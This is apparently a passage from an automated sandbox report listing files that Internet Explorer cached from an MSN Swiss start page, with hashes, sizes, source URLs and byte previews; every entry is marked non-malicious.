SHA-512:	FB52DBE8CBD2D4CE2A4367E97DEC1B5BF0EDF480C40D701EBE7CF44D4EE1A53163AB88E6D1206881AB3D7ECECF4BE629DB75C4ECCC038BD7C7D80A0E215ECCDD
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/AALPt2d.img?h=333&w=311&m=6&q=60&u=t&o=t&l=f&f=jpg
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(=(....5..z$kK..k0..(<Q...2sNZ..L.....l.i.'.EK)3.h%U...'...G.#..v...B..(`ZH.....G...S.P...(.....iL.2...1.{P"H.do..N.ZKh...h.a.0...Z.(...4.....f.3...jv.5..V...pi.DF9..Yv..b..c.M...4S.0A...-..Z.Z.(...!...(..Z..zS...i4...ki...`..FH..z...7_...Ep.W.......w_/.[.9!...+sb..+..H..............=.0#.u.lR.-A...k.I.B..3He.)..P..@.........`:...Z.B.8.K@.#.BGQE..%.s....!.8...'...!+.G.#....A..F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BB14EN7h[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	downloaded
Size (bytes):	13764
Entropy (8bit):	7.273450351118404
Encrypted:	false
SSDEEP:	384:IfOm4cIa37nstlEM15mv7OAkrIh4McOD07+8n0GoJdxFhEh8:I2m4pa37stlTgqAjS0GoJd3yK
MD5:	DA6531188AED539AF6EAA0F89912AACF
SHA1:	602244816EA22CBE39BBD4DB386519908745D45C
SHA-256:	C719BE5FFC45680FE2A18CDB129E60A48A27A6666231636378918B4344F149F7
SHA-512:	DF03FA1CB6ED0D1FFAC5FB5F2BB6523D373AC4A67CEE1AAF07E0DA61E3F19E7AF43673B6BEFE7192648AC2531EF64F6B4F93F941BF014ED2791FA6F46720C7DB
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB14EN7h.img?h=368&w=622&m=6&q=60&u=t&o=t&l=f&f=jpg
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......5.D..gJ.ks@..(...@.........l..pE..iT...t&..V.M..h....4.m.-.!....:..............a...CQ...c....Fj....F(...5 ..<.....J..E.0."..].6...B.K........k.t.A'p..KJ..A....(......(......(......(......(......(......(......(......(.......K1......:...0......I...M.9..n..d.Z.e.Q..HfE....l^...h.h.t....(.9:.2....z...@.....:...3..w.@.P4Ac1.a.@...A#.P1... ..4..@.@.(.h.h.(....0....Y..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BB15AQNm[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	downloaded
Size (bytes):	29565
Entropy (8bit):	7.9235998300887145
Encrypted:	false
SSDEEP:	384:I1cMsjB7+C2bbAEB2SUZRT+kXoMRRJhp5xvHapIzf7m41tgaYi9PIVKnHNVMP2Nm:IHsjkC2YEB2SUPTT48FPHTgf3VKn2Uc
MD5:	6B79D1438D8EFAF3B8DE6163107CEC71
SHA1:	E54E651A8A0FDAFCAD60B137D806D8CEC2F769C0
SHA-256:	2F00C9B0C23EE995091A90ACC7A8FA3AA773612A464F558D78664636C8B7B8D8
SHA-512:	745B822F9E21DB98B909F3AE762C439C376A35AD5C08655861B05539ACD5C47BCDCF24FAB2FB5A56712BC3BEDE6493FD5152E92D065AC5E9ECCE2DF93C4B78B7
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB15AQNm.img?h=368&w=622&m=6&q=60&u=t&o=t&l=f&f=jpg&x=868&y=379
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(...4.m.!....4..i..4..l.C..u .pi....dRe#J..\..t..bC3.)..l.".W.#..&.....-&2.".&.(l..y...r...cE.7..h(#......t..E.....H.^b..../...5 ..r..4&R.>F.. ~..$..R.....1..WDV.L..j.^q..!...T.+..x.$.+._..<{Tc4!.^\$q.ZR`q...Y........A.Ld...(HM.....Z#2b.u40 ...J.F.j.*...Fy.."h..g.&...+H..$2...A....N.c.L...^..c...<Qa..[.. -..v.....-....xg.K.e+..'5[.... !@.ZM.b."....<.........~....(..".~

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BB1dMBQL[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	downloaded
Size (bytes):	35938
Entropy (8bit):	7.931648707177435
Encrypted:	false
SSDEEP:	768:Ip3PFbM77Ba67OJTJ83l+8qyyz0zKcSOCT18EPl:Ipf89F8J83lnq/0Kc6b9
MD5:	1CCB53DE8674476612670B1417AAE84F
SHA1:	2A907B0F0D472E4D3792D3B71A8D8659620D15FA
SHA-256:	2B1378E271FC5872DE7B5201D8DA96BDC72B194ECBCBDC1166203C74D6C0185B
SHA-512:	ADD08C0E3ED4AA654D6387B0E5AC736E12CDDD215221DF692856AC9359D11A2FB9C02A843350DEB4E936218E9AFD599B937F32F4414587FA09841064D452D4CF
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1dMBQL.img?h=368&w=622&m=6&q=60&u=t&o=t&l=f&f=jpg
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...d.k+..y@.Jv..T.J.......#...l....F..Qf.D.PA..X..bG..p)%v6...hb........=.oZ..EZ..}..SE.r.D.{.p...Oz.ar..c.Hei...Zd-.4.U..`.E.P.....(.A...[..R.Z...A...c=.>T+.#kf.%Y..UqXw....bH.{.D..&j.-...L.)..M..M -Y..NzQp$.5I...$....,....t.._[0..?)..j...>3..{.iv.....e[]A/.......ZI.mX...m.......qX@.B.....$..o....X.y..Z_..c.+.v..,r...........+B..$..........w.m.?....N:.J.z.....q.V.b../.1..=M.q..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BB1gEFcn[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	649
Entropy (8bit):	7.550111408177733
Encrypted:	false
SSDEEP:	12:6v/7/k2VoGkMN1D3Dwjiv89NLfg49aYg1gnuHk8oPK81hyMK6k7HQRj8pAp:+k2rrDMjiv891FaYg1GbiFMTyHQRLp
MD5:	C2E5A197E0874BA7DF22D24683BCA296
SHA1:	A7D5FACB2B4AFB128980725EB2FE45FF62F6F050
SHA-256:	E8003C3B945A0C865CE0E715BB219E225E0EF6958554EB81DBCB6A86C0E67186
SHA-512:	7134108455DF8FA8B267CAB99BE8FF0AEF452039BA5979B4E1DB83E79C1321BBF1C08A6457F5F659A889D3D9DF8EF96E4D69D809FDC3969501EE9D002BE9508D
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB1gEFcn.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Preview:	.PNG........IHDR................a....pHYs..........+.....;IDATx.mRAHTQ.=.....f.....$(h.j........6#.B%.v..BT...Q.q.... j.Z$..AW.He&0....2..:.......w................$M.~.>........@)..<#.x0L...I.v..,....}...a..$.~....d2..#.z.!g..r.....U.4..)..8b1...+X^>@....[.`.a%...sV..0.....B..U..=.T+-..x../H..ig\|7I....$i$....S.......?.P7......h.......<.Lf'.l._..sfgV.5.a...^........m.q^.\.hV..l........&.3d...VW.vi...l^T..F*...8..j..N=.$TD..........VV.X\...,....'...5.e(.F@...N...}LLT03..d`\|...c...6..C.g....R....mT..]..B.......B4jS...A...j...~I.........5=.J?.o~k+0...[.B.9N..&=.....O.W..fg.....r^Q...-.....A..9.[...r....H..K.......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BB6Ma4a[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	368
Entropy (8bit):	6.811857078347448
Encrypted:	false
SSDEEP:	6:6v/lhPahm7HmoUvP34NS7QRdujbt1S+bQkW1oFjTZLKrdmhtIargWoaf90736wDm:6v/7xkHA2QRdsbt1pBcrshtvgWoaO7qZ
MD5:	C144BE9E6D1FA9A7DB6BD090D23F3453
SHA1:	203335FA5AD5E9D98771E6EA448E02EE5C0D91F3
SHA-256:	FAC240D4CA688818C08A72C363168DC9B73CFED7B8858172F7AD994450A8D459
SHA-512:	67B572743A917A651BD05D2C9DCEC20712FD9E802EC6C1A3D8E61385EB2FEBB1F19248F16E906AF0B62111B16C0EA05769AEA1C44D81A02427C1150CB035EA78
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB6Ma4a.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Preview:	.PNG........IHDR................a....pHYs..........+....."IDATx.cy. ..?...\|.UA....GX...43.!:.o(f..Oa`..C...+Z0.y......~..0...>.....(....X3H.....Y....zQ4.s0....R.u.t..\|....)....(.$.`..a...d.qd.....3...W_...}....;.........4.....>....N....)d........p.4......`i.k@QE....j....B....X.7....\|..0.....pu?.1B,...J..P.......`F.>R..2.l.(..3J#.L4...9[...N....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BB7hjL[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	462
Entropy (8bit):	7.383043820684393
Encrypted:	false
SSDEEP:	12:6v/7FMgL0KPV1ALxcVgmgMEBXu/+vVIIMhZkdjWu+7cW1T4:kMgoyocsOmIZIl+7cW1T4
MD5:	F810C713C84F79DBB3D6E12EDBCD1A32
SHA1:	09B30AB856BFFDB6AABE09072AEF1F6663BA4B86
SHA-256:	6E3B6C6646587CC2338801B3E3512F0C293DFF2F9540181A02C6A5C3FE1525A2
SHA-512:	236A88BD05EAF210F0B61F2684C08651529C47AA7DCBCD3575B067BEDCA1FBEE72E260441B4EAD45ABE32354167F98521601EA21DDF014FF09113EC4C0D9D798
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BB7hjL.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx...N.P...C.l...)...Mcb*qaC/..]..7..l...x.Z......w......._....<....\|.........."FX.3.v.A.............1..Rt...}......;....BT.....(X.....(....4...-...f....0.8...\|A.:P%.P..if.t..P..T.6..)s..H..~.C..(.7.s>....~...h..bz...Z.....D4Vm.T...2.5.U.P....q.6..1t~.ZU....7.i...".b.i.~...G.A!..&..+S.(<(...y._w..q........Q.l..1...Tz...Q...r.............g...+.o.]...J...$.8:.F..I.......XT..k.v....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BBVuddh[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	316
Entropy (8bit):	6.917866057386609
Encrypted:	false
SSDEEP:	6:6v/lhPahmxj1eqc1Q1rHZI8lsCkp3yBPn3OhM8TD+8lzjpxVYSmO23KuZDp:6v/7j1Q1Q1ZI8lsfp36+hBTD+8pjpxy/
MD5:	636BACD8AA35BA805314755511D4CE04
SHA1:	9BB424A02481910CE3EE30ABDA54304D90D51CA9
SHA-256:	157ED39615FC4B4BDB7E0D2CC541B3E0813A9C539D6615DB97420105AA6658E3
SHA-512:	7E5F09D34EFBFCB331EE1ED201E2DB4E1B00FD11FC43BCB987107C08FA016FD7944341A994AA6918A650CEAFE13644F827C46E403F1F5D83B6820755BF1A4C13
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx....P..?E....U..E..\|......\|...M.XD.`4YD...{.\6....s..0.;....?..&.../. ......$.\|Y....UU)gj...]..;x..(.."..$I.(.\.E.......4....y.....c...m.m.P...Fc...e.0.TUE....V.5..8..4..i.8.}.C0M.Y..w^G..t.e.l..0.h.6.\|.Q...Q..i~.\|...._...'..Q...".....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\BBX2afX[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	879
Entropy (8bit):	7.684764008510229
Encrypted:	false
SSDEEP:	24:nbwTOG/D9S9kmVgvOc0WL9P9juX7wlA3lrvfFRNa:bwTOk5S96vBB1jGwO3lzfxa
MD5:	4AAAEC9CA6F651BE6C54B005E92EA928
SHA1:	7296EC91AC01A8C127CD5B032A26BBC0B64E1451
SHA-256:	90396DF05C94DD44E772B064FF77BC1E27B5025AB9C21CE748A717380D4620DD
SHA-512:	09E0DE84657F2E520645C6BE20452C1779F6B492F67F88ABC7AB062D563C060AE51FC1E99579184C274AC3805214B6061AEC1730F72A6445AEBDB7E9F255755F
Malicious:	false
IE Cache URL:	https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBX2afX.img?h=27&w=27&m=6&q=60&u=t&o=t&l=f&f=png
Preview:	.PNG........IHDR................U....pHYs..........+.....!IDATx...K.Q..wfv.u......,I"...)...z............>.OVObQ......d?\|.....F.QI$....qf.s.....">y`......{~.6.Z.`.D[&.cV`..-8i...J.S.N..xf.6@.v.(E..S.....&...T...?.X)${.....s.l."V..r...PJ!..p.4b}.=2...[......:.....LW3...A.eB.;...2...~...s_z.x\|..o....+..x....KW.G2..9.....<.\....gv...n..1..0...1}....Ht_A.x...D..5.H.......W..$_\G.e;./.1R+v....j.6v........z.k............&..(....,F.u8^..v...d-.j?.w..;..O.<9$..A..f.k.Kq9..N..p.rP2K.0.).X.4..Uh[..8..h....O..V.%.f.......G..U.m.6$......X....../.=....f:.......\|c(,.......l.\..<./..6...!...z(......# "S..f.Q.N=.0VQ._..\|....>@....P.7T.$./)s....Wy..8..xV......D....8r."b@....:.E.E......._(....4w....Ir..e-5..zjg...e?./...\|X..."!..'/......OI..J"I.MP....#...G.Vc..E..m.....wS.&.K<...Kq..\...A..$.K......,...[..D...8.?..)..3....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\bundle.min[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	51570
Entropy (8bit):	5.229859453550898
Encrypted:	false
SSDEEP:	768:RCQwVYkQeqn2UfXfZgHHg6Ud2bGuRyUuCdk6b2CF3+RUjjr90RXgb:RW6FZUbUELNsRwb
MD5:	B1DCC6195D84CF50C3E882D3D515F848
SHA1:	06562C193663A31A3CABEAA18CFFEB882084FCB6
SHA-256:	8C04755395B8F232C57D062A7669C3C414658299D29C6B6F83F1F30185D94ECB
SHA-512:	344C3014C59BA72512DEF4E8963088A61D20334555B4C85E64EFBBC19FCA19EA305237D3ED048863F77F80F0427DDD9C81D5359DC8EEA674A75D960A04678D29
Malicious:	false
IE Cache URL:	https://s.uicdn.com/shared/sentry/5.5.0/bundle.min.js
Preview:	/! @sentry/browser 5.5.0 (994247d6) \| https://github.com/getsentry/sentry-javascript /.var Sentry=function(n){var t=function(n,r){return(t=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(n,t){n.__proto__=t}\|\|function(n,t){for(var r in t)t.hasOwnProperty(r)&&(n[r]=t[r])})(n,r)};function r(n,r){function e(){this.constructor=n}t(n,r),n.prototype=null===r?Object.create(r):(e.prototype=r.prototype,new e)}var e,i,o,u=function(){return(u=Object.assign\|\|function(n){for(var t,r=1,e=arguments.length;r<e;r++)for(var i in t=arguments[r])Object.prototype.hasOwnProperty.call(t,i)&&(n[i]=t[i]);return n}).apply(this,arguments)};function c(n,t){var r="function"==typeof Symbol&&n[Symbol.iterator];if(!r)return n;var e,i,o=r.call(n),u=[];try{for(;(void 0===t\|\|t-- >0)&&!(e=o.next()).done;)u.push(e.value)}catch(n){i={error:n}}finally{try{e&&!e.done&&(r=o.return)&&r.call(o)}finally{if(i)throw i.error}}return u}function s(){for(var n=[],t=0;t<arguments.length;t++)n=n.concat(c(arguments[t]));

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cf0f64e7-0354-429d-b700-c0cb0384258a[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category:	downloaded
Size (bytes):	87750
Entropy (8bit):	7.971920862407236
Encrypted:	false
SSDEEP:	1536:rV71v5me8Il0WbASXD+HpcgZz9UoN2VXWmWZ8kiTbL/AR9v2jpW4JgJs:Z71RJl0WhXDEA5WTZt/MpTOu
MD5:	C664CC3A06C7E91256C992E6DBC7F38C
SHA1:	68D9D406B5536B88D3DE4B339E9E53FD546572B4
SHA-256:	8812FF9A4A6A6D35408460D10BF89FAC4BCB7DC44EDEA5067013789F544458F2
SHA-512:	00D7320664B6C0786534AF7E4D709926E1CC8627A6AFA6063A67234F4616B77F8F1460C6214B5B22C5CD1442C5B69705A18E7B0D8F82E3B0BB9A4DEE6943966C
Malicious:	false
IE Cache URL:	https://cvision.media.net/new/300x300/2/249/108/181/cf0f64e7-0354-429d-b700-c0cb0384258a.jpg?v=9
Preview:	......JFIF.............C....................................................................C.......................................................................,.,.."...........................................B............................!.."..1#2A.Qa$B..3q.%R4C...b.5Tr......................................?........................!..1."A.Q.#2a.Bq.....3R....$%C..br..S............?...dF.....k..c.....6f.6...Z9Xl.G.%..%{U\Dc^A.."....M.....`...h..../lhEGv...W......?e.R...."y.P.....a...5.&...v...zGQ...)...s...g.......]...@..v..~[......2.X.h..U.....dE.Z......6O_.8...<.m.[.Q<...7O.........3V..I{....+..y..G.k..{xk.6U.wEV....%...8..H..=....."..7.[..(.U.oQ...RI;...B.!q..#..8..:.Zg{...a............\|...@.+^'(..r.l..?.E......>..W..F...r..h.].9.....'.....o6.B..J.x...G.\|\E..v.W....E..aQ.';H&'!..V"...n..rs...?..:.rX.',7.Q...\|....x.?..V.E...v+l..p....,q..~.H...G.....W&.y=.....TE.....O(.b.......O."...r..m........j......uk.>).^H..*'._.\...." ..g7..&..=.5W

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\checksync[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	21552
Entropy (8bit):	5.305154231032811
Encrypted:	false
SSDEEP:	384:aiAGcVXlblcqnzleZSweg2f5ng+7naMHF3OZObQWwY4RXrqt:x86qhbS2RpF3OsbQWwY4RXrqt
MD5:	C778C41A900F4EA29A5F48DE750EE763
SHA1:	57B9CB5CF68A0D2B612C2500EEA20687E8FB8204
SHA-256:	4E4F9EAA15F2B920F6489A7D53A85858B77C420CC9F5C135D4446B29B9E03886
SHA-512:	D79839B9C37415E56969554059DFD0E665CFA6438EEADBC592C4D689E4A10A7BA83520694F64C42E25D860E21E3803C08A15674D6567D1A8CE9504E688C4D8B0
Malicious:	false
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"ussyncmap":[],"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"successLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"http

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\checksync[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	21552
Entropy (8bit):	5.305154231032811
Encrypted:	false
SSDEEP:	384:aiAGcVXlblcqnzleZSweg2f5ng+7naMHF3OZObQWwY4RXrqt:x86qhbS2RpF3OsbQWwY4RXrqt
MD5:	C778C41A900F4EA29A5F48DE750EE763
SHA1:	57B9CB5CF68A0D2B612C2500EEA20687E8FB8204
SHA-256:	4E4F9EAA15F2B920F6489A7D53A85858B77C420CC9F5C135D4446B29B9E03886
SHA-512:	D79839B9C37415E56969554059DFD0E665CFA6438EEADBC592C4D689E4A10A7BA83520694F64C42E25D860E21E3803C08A15674D6567D1A8CE9504E688C4D8B0
Malicious:	false
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"ussyncmap":[],"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"successLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"http

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\de-ch[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode text, with very long lines, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	422535
Entropy (8bit):	5.443005001973646
Encrypted:	false
SSDEEP:	3072:RJaJUxxx+EPkf8SmwIYe8Wuv6HjP1hoHgiubmvb/QdOWvb/5SU0He7hLZ:RJaSOELHUHJub2SOR+7j
MD5:	582285CF9CB9D2232174AD64BE94C5E8
SHA1:	ED87EA0705912B10E4D48B9A98C6B948EB6739F3
SHA-256:	8A701F5B061ED6195959374E071F785D1A89E5E5CA9094CFC5DC4FF2A820762F
SHA-512:	5A13FB11985B557BB2191CC59096461C41F9A82D5E013FC82A0C58293C5A998591176D1A306A0C8AB71C09B6FCAB32ECC4FB2DE69C1FF09C3C3EBFFB7575CD80
Malicious:	false
Preview:	<!DOCTYPE html><html prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#" lang="de-CH" class="hiperf" dir="ltr" >..<head data-info="v:20210629_22136374;a:96bd4579-303a-4c36-b753-3e9d440cc936;cn:0;az:{did:951b20c4cd6d42d29795c846b4755d88, rid: 0, sn: neurope-prod-hp, dt: 2021-06-19T18:34:51.0663824Z, bt: 2021-06-29T00:12:15.5968641Z};ddpi:1;dpio:;dpi:1;dg:tmx.pc.ms.ie10plus;th:start;PageName:startPage;m:de-ch;cb:;l:de-ch;mu:de-ch;ud:{cid:,vk:homepage,n:,l:de-ch,ck:};xd:BBqgbZW;ovc:f;al:;fxd:f;xdpub:2021-06-14 10:00:39Z;xdmap:2021-07-06 12:29:26Z;axd:;f:msnallexpusers,muidflt51cf,muidflt53cf,muidflt58cf,startedge1cf,startedge3cf,moneyedge3cf,bingcollabedge1cf,platagyhp1cf,platagyhz3cf,moneyhz2cf,artgly3cf,article5cf,onetrustpoplive,1s-bing-news,vebudumu04302020,bbh20200521msn,1s-winblis,1s-winblisp1,prg-adspeek,1s-feedcache,btrecrow1c,prg-cpcbship,prg-cbencards2,prg-cbfeed,prg-cpp,prg-northstar,prg-wpo-northstr;userOptOut:false;userOptOutOptions:" data-js="{"dpi":1.0,&q

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\f489d89a-0e50-4a68-82ea-aa78359a514f[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
Category:	downloaded
Size (bytes):	71729
Entropy (8bit):	7.978138681966507
Encrypted:	false
SSDEEP:	1536:m1xQuEXuHILYJ422E/mUx04VrG0tPZuL76T3:8QeoLYbR1VrG0tPMLq3
MD5:	CF11BAF2E1D8672BBE46055C034BAE56
SHA1:	7305B5298E7EFE304F11C4531A58D40ECD4EA99D
SHA-256:	2F7B151005B4E02B04116E540BE590E8C838B5CFE947358993DE63880520D10E
SHA-512:	646219C6D6FDDDDE4FD6B00B98C3EA10E33A182A39852011CAA2CBDADB2FAB4517950E3F6E972119435B4C18A823F6F1B38E74B6EC19F9ACF49D1EDB7096111D
Malicious:	false
IE Cache URL:	https://cvision.media.net/new/300x300/2/99/84/174/f489d89a-0e50-4a68-82ea-aa78359a514f.jpg?v=9
Preview:	......JFIF.............C....................................................................C.......................................................................,.,.."...........................................J...........................!..1A."Qa.q..#2...B....$3R...%.Cb.4Scr.&st.....................................B........................!.1.."AQa..#q..2....B..$3b...4R.r...%CSc............?..6t....../..b....~.c.r....f.,......si.~NV...wKD..7...O0..).tm..c..:.]Ff.Q.....Fr.wT...X..;......dn...s.y....by..2G......`J!T.):....c.....~!.D.c).9B[.$7.......$xNF..jfLW"D.a..MR.^H..,u<.h..:. ...eV...%..AT...S ..`.o.Y.U...%}..I.G...w/....$........X.........SI#......".)..T^..f.0.+......W.....zT.]x..eIl.h.$..p.).,.1E...CCi....(3.ZY8S........x.....Q..)bw..u..4M...]..5..4....r."..(.T}.K.wf.w..0...nc....~.6.\.~P..$x....J.4/....!d. .D.s..9...fa..D.8x.....a..6....t`.T.u...9..IO.*..%.I...FQ'G..._./,`.....LF....+,L.B.d.$a}[A..O...>.D>.. dVc5~....5.@.....C..a..6..m...N........

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\favicon[1].ico Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	MS Windows icon resource - 2 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	5430
Entropy (8bit):	4.0126861171462025
